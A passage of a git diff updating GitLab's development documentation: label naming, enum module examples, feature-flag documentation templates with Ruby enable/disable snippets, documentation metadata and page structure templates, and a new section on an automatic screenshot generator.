"DevOps Score" category is represented by the -~"Category:DevOps Score" label in the `gitlab-org` group since its -`devops_score.name` value is "DevOps Score". +For instance, the "DevOps Report" category is represented by the +~"Category:DevOps Reports" label in the `gitlab-org` group since its +`devops_reports.name` value is "DevOps Reports". If a category's label doesn't respect this naming convention, it should be specified with [the `label` attribute](https://about.gitlab.com/handbook/marketing/website/#category-attributes) @@ -275,10 +275,10 @@ or ~"Stretch". Any open issue for a previous milestone should be labeled We have the following priority labels: -- ~P::1 -- ~P::2 -- ~P::3 -- ~P::4 +- ~"priority::1" +- ~"priority::2" +- ~"priority::3" +- ~"priority::4" Please refer to the issue triage [priority label](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#priority) section in our handbook to see how it's used. @@ -286,10 +286,10 @@ Please refer to the issue triage [priority label](https://about.gitlab.com/handb We have the following severity labels: -- ~S::1 -- ~S::2 -- ~S::3 -- ~S::4 +- ~"severity::1" +- ~"severity::2" +- ~"severity::3" +- ~"severity::4" Please refer to the issue triage [severity label](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#severity) section in our handbook to see how it's used. diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index e5a8bdad7b0..d88b159b666 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -176,7 +176,7 @@ the contribution acceptance criteria below: exposing a bug in existing code). Every new class should have corresponding unit tests, even if the class is exercised at a higher level, such as a feature test. - If a failing CI build seems to be unrelated to your contribution, you can try - restarting the failing CI job, rebasing from master to bring in updates that + restarting the failing CI job, rebasing from `master` to bring in updates that may resolve the failure, or if it has not been fixed yet, ask a developer to help you fix the test. 1. The MR initially contains a few logically organized commits. @@ -242,6 +242,7 @@ request: 1. The [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit). 1. The [CI environment preparation](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/prepare_build.sh). 1. The [Omnibus package creator](https://gitlab.com/gitlab-org/omnibus-gitlab). +1. The [Cloud Native GitLab Dockerfiles](https://gitlab.com/gitlab-org/build/CNG) ## Incremental improvements diff --git a/doc/development/creating_enums.md b/doc/development/creating_enums.md index 3833f771bb5..af9bf919b2b 100644 --- a/doc/development/creating_enums.md +++ b/doc/development/creating_enums.md @@ -33,28 +33,32 @@ tempted to organize the `enum` as the following: ```ruby # Define `failure_reason` enum in `Pipeline` model: class Pipeline < ApplicationRecord - enum failure_reason: ::PipelineEnums.failure_reasons + enum failure_reason: Enums::Pipeline.failure_reasons end ``` ```ruby # Define key/value pairs that used in FOSS and EE: -module PipelineEnums - def self.failure_reasons - { unknown_failure: 0, config_error: 1 } +module Enums + module Pipeline + def self.failure_reasons + { unknown_failure: 0, config_error: 1 } + end end end -PipelineEnums.prepend_if_ee('EE::PipelineEnums') +Enums::Pipeline.prepend_if_ee('EE::Enums::Pipeline') ``` ```ruby # Define key/value pairs that used in EE only: module EE - module PipelineEnums - override :failure_reasons - def failure_reasons - super.merge(activity_limit_exceeded: 2) + module Enums + module Pipeline + override :failure_reasons + def failure_reasons + super.merge(activity_limit_exceeded: 2) + end end end end @@ -63,7 +67,7 @@ end This works as-is, however, it has a couple of downside that: - Someone could define a key/value pair in EE that is **conflicted** with a value defined in FOSS. - e.g. Define `activity_limit_exceeded: 1` in `EE::PipelineEnums`. + e.g. Define `activity_limit_exceeded: 1` in `EE::Enums::Pipeline`. - When it happens, the feature works totally different. e.g. We cannot figure out `failure_reason` is either `config_error` or `activity_limit_exceeded`. - When it happens, we have to ship a database migration to fix the data integrity, @@ -74,10 +78,12 @@ For example, this example sets `1000` as the offset: ```ruby module EE - module PipelineEnums - override :failure_reasons - def failure_reasons - super.merge(activity_limit_exceeded: 1_000, size_limit_exceeded: 1_001) + module Enums + module Pipeline + override :failure_reasons + def failure_reasons + super.merge(activity_limit_exceeded: 1_000, size_limit_exceeded: 1_001) + end end end end diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md index 894b1ea15f0..6cb061f9959 100644 --- a/doc/development/database/database_reviewer_guidelines.md +++ b/doc/development/database/database_reviewer_guidelines.md @@ -23,9 +23,9 @@ For more information on the database review process, check the [database review Team members are encouraged to self-identify as database domain experts and add it to their [team profile](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/team.yml) ```yaml - projects: - gitlab: - - reviewer database +projects: + gitlab: + - reviewer database ``` Assign the MR which adds your expertise to the `team.yml` file to a database maintainer @@ -70,9 +70,9 @@ they can update their [team profile](https://gitlab.com/gitlab-com/www-gitlab-co to a `trainee_maintainer database`: ```yaml - projects: - gitlab: - - trainee_maintainer database +projects: + gitlab: + - trainee_maintainer database ``` The first step is to a create a [Trainee Database Maintainer Issue](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/new?issuable_template=trainee-database-maintainer). diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md index 0e77e3972e0..b73dfa859fb 100644 --- a/doc/development/database/strings_and_the_text_data_type.md +++ b/doc/development/database/strings_and_the_text_data_type.md @@ -38,6 +38,8 @@ For example, consider a migration that creates a table with two text columns, ```ruby class CreateDbGuides < ActiveRecord::Migration[6.0] + include Gitlab::Database::MigrationHelpers + DOWNTIME = false disable_ddl_transaction! @@ -179,6 +181,7 @@ in a post-deployment migration, ```ruby class AddTextLimitMigration < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers + DOWNTIME = false disable_ddl_transaction! diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md index 25b62e0d693..61e8ac60bfe 100644 --- a/doc/development/database_debugging.md +++ b/doc/development/database_debugging.md @@ -72,7 +72,7 @@ Use these instructions for exploring the GitLab database while developing with t 1. **Port number to connect to**: `5432` (default). 1. <!-- vale gitlab.Spelling = NO --> **Use an ssl connection?** - <!-- vale gitlab.rulename = NO --> This depends on your installation. Options are: + <!-- vale gitlab.Spelling = YES --> This depends on your installation. Options are: - **Use Secure Connection** - **Standard Connection** (default) 1. **(Optional) The database to connect to**: `gitlabhq_development`. diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index cbbeae47a41..9a4c15c5c19 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -6,6 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Distributed Tracing - development guidelines +NOTE: **Note:** +Distributed Tracing in GitLab is currently considered **experimental**, as it has not yet been tested at scale on GitLab.com. + GitLab is instrumented for distributed tracing. According to [Open Tracing](https://opentracing.io/docs/overview/what-is-tracing/): diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md index e2fbf25eb8a..a4a6ee2fa0f 100644 --- a/doc/development/documentation/feature_flags.md +++ b/doc/development/documentation/feature_flags.md @@ -1,5 +1,8 @@ --- -type: reference +type: reference, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" description: "GitLab development - how to document features deployed behind feature flags" --- @@ -24,6 +27,7 @@ See how to document them below, according to the state of the flag: - [Features disabled by default](#features-disabled-by-default). - [Features that became enabled by default](#features-that-became-enabled-by-default). - [Features directly enabled by default](#features-directly-enabled-by-default). +- [Features that can be enabled or disabled for a single project](#features-enabled-by-project). - [Features with the feature flag removed](#features-with-flag-removed). NOTE: **Note:** @@ -37,105 +41,120 @@ therefore, it indicates that it cannot be done by regular users of GitLab.com. For features disabled by default, if they cannot be used yet due to lack of completeness, or if they're still under internal evaluation (for example, for performance implications) do **not document them**: add (or merge) the docs -only when the feature is safe and ready to use and test by end users. +only when the feature is safe and ready to use and test by end-users. For feature flags disabled by default, if they can be used by end users: - Say that it's disabled by default. - Say whether it's enabled on GitLab.com. -- Say whether it can be enabled or disabled per-project. +- If the feature can be enabled/disabled for a single project, add the + [by-project information](#features-enabled-by-project). Otherwise, + do not say anything about it. - Say whether it's recommended for production use. - Document how to enable and disable it. +- Add a warning to the user saying that the feature is disabled. -For example, for a feature disabled by default, disabled on GitLab.com, can be enabled or disabled per-project, and -not ready for production use: +For example, for a feature disabled by default, disabled on GitLab.com, cannot +be enabled for a single project, and is not ready for production use: ````markdown # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It's deployed behind a feature flag, disabled by default. +> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. > - It's disabled on GitLab.com. -> - It's able to be enabled or disabled per-project. > - It's not recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(CORE ONLY)** -(...) +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +(...Regular content goes here...) + +<!-- Add this at the end of the file --> ### Enable or disable <Feature Name> **(CORE ONLY)** <Feature Name> is under development and not ready for production use. It is deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../path/to/administration/feature_flags.md) -can enable it for your instance. <Feature Name> can be enabled or disabled per-project. +[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md) +can enable it. To enable it: ```ruby -# Instance-wide Feature.enable(:<feature flag>) -# or by project -Feature.enable(:<feature flag>, Project.find(<project id>)) ``` To disable it: ```ruby -# Instance-wide Feature.disable(:<feature flag>) -# or by project -Feature.disable(:<feature flag>, Project.find(<project id>)) ``` ```` Adjust the blurb according to the state of the feature you're documenting. +Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, and +`<replace with path to>`, and `#anchor-to-section` accordingly. ### Features that became enabled by default -For features that became enabled by default: +For features that were released disabled by default but became enabled by +default: - Say that it became enabled by default. - Say whether it's enabled on GitLab.com. -- Say whether it can be enabled or disabled per-project. +- If the feature can be enabled/disabled for a single project, add the + [by-project information](#features-enabled-by-project). Otherwise, + do not say anything about it. - Say whether it's recommended for production use. - Document how to disable and enable it. +- Add a warning to the user saying that the feature might be disabled. -For example, for a feature initially deployed disabled by default, that became enabled by default, that is enabled on GitLab.com, that cannot be enabled or disabled per-project, and ready for production use: +For example, for a feature initially deployed disabled by default, that became +enabled by default, that is enabled on GitLab.com, and is ready for production +use: ````markdown # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It was deployed behind a feature flag, disabled by default. +> - It was [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. > - [Became enabled by default](link-to-issue) on GitLab 12.1. > - It's enabled on GitLab.com. -> - It's not able to be enabled or disabled per-project. > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** -(...) +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +(...Regular content goes here...) + +<!-- Add this at the end of the file --> ### Enable or disable <Feature Name> **(CORE ONLY)** <Feature Name> is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](..path/to/administration/feature_flags.md) -can opt to disable it for your instance it cannot be enabled or disabled per-project. +[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md) +can opt to disable it. -To disable it: +To enable it: ```ruby -Feature.disable(:<feature flag>) +Feature.enable(:<feature flag>) ``` -To enable it: +To disable it: ```ruby -Feature.enable(:<feature flag>) +Feature.disable(:<feature flag>) ``` ```` Adjust the blurb according to the state of the feature you're documenting. +Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, +`<replace with path to>`, and `#anchor-to-section` accordingly. ### Features directly enabled by default @@ -143,45 +162,134 @@ For features enabled by default: - Say it's enabled by default. - Say whether it's enabled on GitLab.com. -- Say whether it can be enabled or disabled per-project. +- If the feature can be enabled/disabled for a single project, add the + [by-project information](#features-enabled-by-project). Otherwise, + do not say anything about it. - Say whether it's recommended for production use. - Document how to disable and enable it. +- Add a warning to the user saying that the feature might be disabled. -For example, for a feature enabled by default, enabled on GitLab.com, cannot be enabled or disabled per-project, and ready for production use: +For example, for a feature enabled by default, enabled on GitLab.com, that +cannot be enabled for a single project, and is ready for production use: ````markdown # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It's deployed behind a feature flag, enabled by default. +> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. > - It's enabled on GitLab.com. -> - It's not able to be enabled or disabled per-project. > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** -(...) +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +(...Regular content goes here...) + +<!-- Add this at the end of the file --> ### Enable or disable <Feature Name> **(CORE ONLY)** <Feature Name> is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](..path/to/administration/feature_flags.md) -can opt to disable it for your instance. +[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:<feature flag>) +``` To disable it: ```ruby Feature.disable(:<feature flag>) ``` +```` -To enable it: +Adjust the blurb according to the state of the feature you're documenting. +Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, +`<replace with path to>`, and `#anchor-to-section` accordingly. + +### Features enabled by project + +If the feature can be enabled/disabled for a single project, include in the +version history note: + +```markdown +> - It can be enabled or disabled for a single project. +``` + +Then add the by-project code to the code blocks: + +Enable code: + +```ruby +# For the instance +Feature.enable(:<feature flag>) +# For a single project +Feature.enable(:<feature flag>, Project.find(<project id>)) +``` + +Disable code: + +```ruby +# For the instance +Feature.disable(:<feature flag>) +# For a single project +Feature.disable(:<feature flag>, Project.find(<project id>)) +``` + +For example, for a feature enabled by default, enabled on GitLab.com, that can +be enabled by project, and is ready for production use: + +````markdown +# Feature Name + +> - [Introduced](link-to-issue) in GitLab 12.0. +> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It can be enabled or disable for a single project. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** + +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +(...Regular content goes here...) + +<!-- Add this at the end of the file --> + +### Enable or disable <Feature Name> **(CORE ONLY)** + +<Feature Name> is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md) +can opt to disable it. + +To enabled it: ```ruby +# For the instance Feature.enable(:<feature flag>) +# For a single project +Feature.enable(:<feature flag>, Project.find(<project id>)) +``` + +To disable it: + +```ruby +# For the instance +Feature.disable(:<feature flag>) +# For a single project +Feature.disable(:<feature flag>, Project.find(<project id>)) ``` ```` Adjust the blurb according to the state of the feature you're documenting. +Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, +`<replace with path to>`, and `#anchor-to-section` accordingly. ### Features with flag removed @@ -195,6 +303,6 @@ mentions the flag in the version history notes: > - [Introduced](link-to-issue) in GitLab 12.0. > - [Feature flag removed](link-to-issue) in GitLab 12.2. -(...) +(...Regular content...) ```` diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 283060ba8d4..d6f24d6374d 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -105,22 +105,22 @@ info: To determine the technical writer assigned to the Stage/Group associated w --- ``` -### Page type metadata +### Document type metadata Originally discussed in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/1280), -each page should have a `type` metadata. It can be one or more of the following: - -- `index`: Index/overview pages. They serve as a list to other pages. Doesn't - necessarily mean the page should be named `index.md`. [Example page](../../install/README.md). -- `concepts`: What you need to know before using product. Informational, not - instructional. For example, abstract ideas, explain meaning or benefit, support - understanding of tasks. They are read for background information, for example - "Why X is important". [Example page](../../topics/autodevops/index.md). -- `howto`: Specific use case instructions. [Example page](../../ssh/README.md). -- `tutorial`: Learn a process/concept by doing. [Example page](../../gitlab-basics/start-using-git.md). -- `reference`: Covers what things are/do. Things like specific settings, facts - without too much explanation that are read for detailed information. - [Example page](../../ci/yaml/README.md). +each page should have a metadata tag called `type`. It can be one or more of the +following: + +- `index`: It consists mostly of a list of links to other pages. + [Example page](../../README.md). +- `concepts`: The background or context of a subject. + [Example page](../../topics/autodevops/index.md). +- `howto`: Specific use case instructions. + [Example page](../../ssh/README.md). +- `tutorial`: Learn a process/concept by doing. + [Example page](../../gitlab-basics/start-using-git.md). +- `reference`: A collection of information used as a reference to use a feature + or a functionality. [Example page](../../ci/yaml/README.md). ### Redirection metadata @@ -147,17 +147,10 @@ comments: false ### Additional page metadata -Each page can have additional (optional) metadata (set in the +Each page can have additional, optional metadata (set in the [default.html](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/fc3577921343173d589dfa43d837b4307e4e620f/layouts/default.html#L30-52) -Nanoc layout), which will be shown to the top of the page if defined: - -- `author`: The name of the author of a page, usually a tutorial. It requires `author_gitlab` in order to be shown. -- `author_gitlab`: The username of the author on GitLab.com. It requires `author` in order to be shown. -- `date`: The date the page was created, usually for tutorials. -- `article_type`: The type of article. Can be either `tutorial` or `user guide`. -- `level`: The level of complexity of a how-to or tutorial. Can be either `beginner`, - `advanced`, or `intermediate`. -- `last_updated`: The date in ISO format when the page was last updated. For example `2020-02-14`. +Nanoc layout), which will be displayed at the top of the page if defined: + - `reading_time`: If you want to add an indication of the approximate reading time of a page, you can set `reading_time` to `true`. This uses a simple [algorithm](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/lib/helpers/reading_time.rb) @@ -335,12 +328,12 @@ You can combine one or more of the following: = link_to 'Help page', help_page_path('user/permissions'), target: '_blank' ``` -1. **Linking to a circle icon.** Usually used in settings where a long +1. **Using a question icon.** Usually used in settings where a long description cannot be used, like near checkboxes. You can basically use - any font awesome icon, but prefer the `question-circle`: + any GitLab SVG icon, but prefer the `question-o`: ```haml - = link_to icon('question-circle'), help_page_path('user/permissions') + = link_to sprite_icon('question-o'), help_page_path('user/permissions') ``` 1. **Using a button link.** Useful in places where text would be out of context @@ -462,7 +455,7 @@ If you want to know the in-depth details, here's what's really happening: [skips the test jobs](https://gitlab.com/gitlab-org/gitlab-docs/blob/8d5d5c750c602a835614b02f9db42ead1c4b2f5e/.gitlab-ci.yml#L50-55) to lower the build time. 1. Once the docs site is built, the HTML files are uploaded as artifacts. -1. A specific Runner tied only to the docs project, runs the Review App job +1. A specific runner tied only to the docs project, runs the Review App job that downloads the artifacts and uses `rsync` to transfer the files over to a location where NGINX serves them. @@ -472,7 +465,7 @@ The following GitLab features are used among others: - [Multi project pipelines](../../ci/multi_project_pipeline_graphs.md) - [Review Apps](../../ci/review_apps/index.md) - [Artifacts](../../ci/yaml/README.md#artifacts) -- [Specific Runner](../../ci/runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) +- [Specific runner](../../ci/runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - [Pipelines for merge requests](../../ci/merge_request_pipelines/index.md) ## Testing @@ -701,9 +694,9 @@ To configure markdownlint within your editor, install one of the following as ap To configure Vale within your editor, install one of the following as appropriate: -- The Sublime Text [`SublimeLinter-contrib-vale` plugin](https://packagecontrol.io/packages/SublimeLinter-contrib-vale) -- The Visual Studio Code [`testthedocs.vale` extension](https://marketplace.visualstudio.com/items?itemName=testthedocs.vale) -- [Vim](https://github.com/dense-analysis/ale) +- The Sublime Text [`SublimeLinter-contrib-vale` plugin](https://packagecontrol.io/packages/SublimeLinter-contrib-vale). +- The Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server). You don't need Vale Server to use the plugin. +- [Vim](https://github.com/dense-analysis/ale). We don't use [Vale Server](https://errata-ai.github.io/vale/#using-vale-with-a-text-editor-or-another-third-party-application). @@ -736,9 +729,7 @@ document: - To disable all Vale linting rules, add a `<!-- vale off -->` tag before the text, and a `<!-- vale on -->` tag after the text. -Whenever possible, exclude only the problematic rule and line(s). In some cases, such as list items, -you may need to disable linting for the entire list until -[Vale issue #175](https://github.com/errata-ai/vale/issues/175) is resolved. +Whenever possible, exclude only the problematic rule and line(s). For more information, see [Vale's documentation](https://errata-ai.gitbook.io/vale/getting-started/markup#markup-based-configuration). @@ -750,3 +741,64 @@ code review. For docs changes in merge requests, whenever a change to files unde is made, Danger Bot leaves a comment with further instructions about the documentation process. This is configured in the `Dangerfile` in the GitLab repository under [/danger/documentation/](https://gitlab.com/gitlab-org/gitlab/tree/master/danger/documentation). + +## Automatic screenshot generator + +You can now set up an automatic screenshot generator to take and compress screenshots, with the +help of a configuration file known as **screenshot generator**. + +### Use the tool + +To run the tool on an existing screenshot generator, take the following steps: + +1. Set up the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md). +1. Navigate to the subdirectory with your cloned GitLab repository, typically `gdk/gitlab`. +1. Make sure that your GDK database is fully migrated: `bin/rake db:migrate RAILS_ENV=development`. +1. Install pngquant, see the tool website for more info: [`pngquant`](https://pngquant.org/) +1. Run `scripts/docs_screenshots.rb spec/docs_screenshots/<name_of_screenshot_generator>.rb <milestone-version>`. +1. Identify the location of the screenshots, based on the `gitlab/doc` location defined by the `it` parameter in your script. +1. Commit the newly created screenshots. + +### Extending the tool + +To add an additional **screenshot generator**, take the following steps: + +- Locate the `spec/docs_screenshots` directory. +- Add a new file with a `_docs.rb` extension. +- Be sure to include the following bits in the file: + +```ruby +require 'spec_helper' + +RSpec.describe '<What I am taking screenshots of>', :js do + include DocsScreenshotHelpers # Helper that enables the screenshots taking mechanism + + before do + page.driver.browser.manage.window.resize_to(1366, 1024) # length and width of the page + end +``` + +- In addition, every `it` block must include the path where the screenshot is saved + +```ruby + it 'user/packages/container_registry/img/project_image_repositories_list' +``` + +#### Full page screenshots + +To take a full page screenshot simply `visit the page` and perform any expectation on real content (to have capybara wait till the page is ready and not take a white screenshot). + +#### Element screenshot + +To have the screenshot focuses few more steps are needed: + +- **find the area**: `screenshot_area = find('#js-registry-policies')` +- **scroll the area in focus**: `scroll_to screenshot_area` +- **wait for the content**: `expect(screenshot_area).to have_content 'Expiration interval'` +- **set the crop area**: `set_crop_data(screenshot_area, 20)` + +In particular `set_crop_data` accepts as arguments: a `DOM` element and a padding, the padding will be added around the element enlarging the screenshot area. + +#### Live example + +Please use `spec/docs_screenshots/container_registry_docs.rb` as a guide and as an example to create your own scripts. diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md index 63cd9959985..5d3af6721d1 100644 --- a/doc/development/documentation/site_architecture/index.md +++ b/doc/development/documentation/site_architecture/index.md @@ -227,11 +227,12 @@ for its search function. This is how it works: there's a JavaScript snippet which initiates DocSearch by using an API key and an index name (`gitlab`) that are needed for Algolia to show the results. -NOTE: **For GitLab employees:** -The credentials to access the Algolia dashboard are stored in 1Password. If you -want to receive weekly reports of the search usage, search the Google doc with +NOTE: **For GitLab Team Members:** +If you’re a GitLab Team Member, find credentials for the Algolia dashboard +in the shared [GitLab 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). +To receive weekly reports of the search usage, search the Google doc with title `Email, Slack, and GitLab Groups and Aliases`, search for `docsearch`, -and add a comment with your email to be added to the alias that gets the weekly +and add a comment with your email. You'll be added to the alias that gets the weekly reports. ## Monthly release process (versions) diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md index d04d34ff786..98bb116aba6 100644 --- a/doc/development/documentation/site_architecture/release_process.md +++ b/doc/development/documentation/site_architecture/release_process.md @@ -121,11 +121,10 @@ versions (stable branches `X.Y` of the `gitlab-docs` project): pipelines succeed: NOTE: **Note:** - The `release-X-Y` branch needs to be present locally, - and you need to have switched to it, otherwise the Rake task will fail. + The `release-X-Y` branch needs to be present locally, otherwise the Rake + task will abort. ```shell - git checkout release-X-Y ./bin/rake release:dropdowns ``` diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md index e13b2f4d031..e454a401a9d 100644 --- a/doc/development/documentation/structure.md +++ b/doc/development/documentation/structure.md @@ -1,45 +1,46 @@ --- +stage: none +group: Style Guide +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers description: What to include in GitLab documentation pages. --- # Documentation structure and template -This document will help you determine how to structure a page within GitLab's -documentation and what content to include. These standards help ensure consistency -and completeness throughout the documentation, and they make it easier to contribute. +Use these standards to contribute content to the GitLab documentation. Before getting started, familiarize yourself with [GitLab's Documentation guidelines](index.md) -and the section on Content in the [Style Guide](styleguide.md). +and the [Documentation Style Guide](styleguide.md). ## Components of a documentation page -Most pages will be dedicated to a specific GitLab feature or to a use case that involves -one or more features, potentially in conjunction with third-party tools. - -Every feature or use case document should include the following content in the following sequence, -with exceptions and details noted below and in the template included on this page. - -- **Title**: Top-level heading with the feature name, or a use case name, which would start with - a verb, like "Configure", "Enable", and so on. -- **Introduction**: A couple sentences about the subject matter and what's to be found -on this page. Describe what the feature or topic is, what it does, and in what context it should -be used. There is no need to add a title called "Introduction" or "Overview," because people rarely - search for these terms. Just put this information after the title. -- **Use cases**: describes real use case scenarios for that feature/configuration. -- **Requirements**: describes what software, configuration, account, or knowledge is required. -- **Instructions**: one or more sets of detailed instructions to follow. -- **Troubleshooting** guide (recommended but not required). - -For additional details on each, see the [template for new docs](#template-for-new-docs), -below. - -Note that you can include additional subsections, as appropriate, such as 'How it Works', 'Architecture', -and other logical divisions such as pre-deployment and post-deployment steps. +Most pages are dedicated to a specific GitLab feature or to a use case that +involves one or more features, potentially in conjunction with third-party tools. + +In general, each topic should include the following content, in this sequence: + +- *Metadata*: Information about the stage, group, and how to find the technical + writer for the topic. This information isn't visible in the published help. +- *Title*: A top-level heading with the feature or use case name. Choose a term + that defines the functionality and use the same term in all the resources + where the feature is mentioned. +- *Introduction*: In a few sentences beneath the title, describe what the + feature or topic is, what it does, and in what context it should be used. +- *Use cases*: Describe real user scenarios. +- *Prerequisites*: Describe the software, configuration, account, permissions, + or knowledge required to use this functionality. +- *Tasks*: Present detailed step-by-step instructions on how to use the feature. +- *Troubleshooting*: List errors and how to address them. Recommended but not + required. + +You can include additional subsections, as appropriate, such as *How it Works*, +or *Architecture*. You can also include other logical divisions, such as +pre-deployment and post-deployment tasks. ## Template for new docs -To start a new document, respect the file tree and file name guidelines, -as well as the style guidelines. Use the following template: +Follow the [folder structure and file name guidelines](styleguide.md#folder-structure-overview) +and create a new topic by using this template: ```markdown <!--Follow the Style Guide when working on this document. @@ -47,94 +48,87 @@ https://docs.gitlab.com/ee/development/documentation/styleguide.html When done, remove all of this commented-out text, except a commented-out Troubleshooting section, which, if empty, can be left in place to encourage future use.--> --- -description: "Short document description." # Up to ~200 chars long. They will be displayed +description: "Short document description." # Up to ~200 chars long. This information is displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here. -stage: "Add the stage name here, and remove the quotation marks" -group: "Add the group name here, and remove the quotation marks" +stage: Add the stage name here +group: Add the group name here info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Feature Name or Use Case Name **[TIER]** (1) -<!--If writing about a use case, drop the tier, and start with a verb, +# Feature or Use Case Name **[TIER]** (1) +<!--If you are writing about a use case, start with a verb, for example, "Configure", "Implement", + the goal/scenario--> <!--For pages on newly-introduced features, add the following line. If only some aspects of the feature have been introduced, specify which parts of the feature.--> > [Introduced](link_to_issue_or_mr) in GitLab (Tier) X.Y (2). -An introduction -- without its own additional header -- goes here. -Offer a description of the feature or use case, and what to expect on this page. -(You can reuse this content, or part of it, for the front matter's `description` at the top -of this file). - -The introduction should answer the following questions: +Write a description of the feature or use case. This introduction should answer +these questions: - What is this feature or use case? - Who is it for? -- What is the context in which it is used and are there any prerequisites/requirements? -- What can the audience do with this? (Be sure to consider all applicable audiences, like - GitLab admin and developer-user.) -- What are the benefits to using this over any alternatives? +- What is the context in which it is used and are there any prerequisites or + requirements? +- What can the audience do with this? (Be sure to consider all applicable + audiences, such as GitLab admin and developer-user.) +- What are the benefits of using this over any existing alternatives? + +You can reuse this content, or part of it, for the front matter's `description` +at the top of this file. ## Use cases -Describe some use cases, typically in bulleted form. Include real-life examples for each. +Describe common use cases, typically in bulleted form. Include real-life examples +for each. -If the page itself is dedicated to a use case, this section can usually include more specific -scenarios for use (for example, variations on the main use case), but if that's not applicable, -the section can be omitted. +If the page itself is dedicated to a use case, this section usually includes more +specific scenarios for use (for example, variations on the main use case), but if +that's not applicable, you can omit this section. Examples of use cases on feature pages: + - CE and EE: [Issues](../../user/project/issues/index.md#use-cases) - CE and EE: [Merge Requests](../../user/project/merge_requests/index.md) -- EE-only: [Geo](../../administration/geo/replication/index.md) +- EE-only: [Geo](../../administration/geo/index.md) - EE-only: [Jenkins integration](../../integration/jenkins.md) -## Requirements +## Prerequisites -State any requirements for using the feature and/or following along with the instructions. +State any prerequisites for using the feature. These might include: -These can include both: -- technical requirements (for example, an account on a third party service, an amount of storage space, - prior configuration of another feature) -- prerequisite knowledge (for example, familiarity with certain GitLab features, cloud technologies) +- Technical prereqs (for example, an account on a third-party service, an amount + of storage space, or prior configuration of another feature) +- Prerequisite knowledge (for example, familiarity with certain GitLab features + or other products and technologies). Link each one to an appropriate place for more information. -## Instructions +## Tasks -This is the part of the document where you can include one or more sets of instructions. Each topic should help users accomplish a specific task. -Headers should describe the task the reader will achieve by following the instructions within, -typically starting with a verb. For example, `Create a package` or `Configure a pipeline`. +The heading should: + +- Describe the task and start with a verb. For example, `Create a package` or + `Configure a pipeline`. 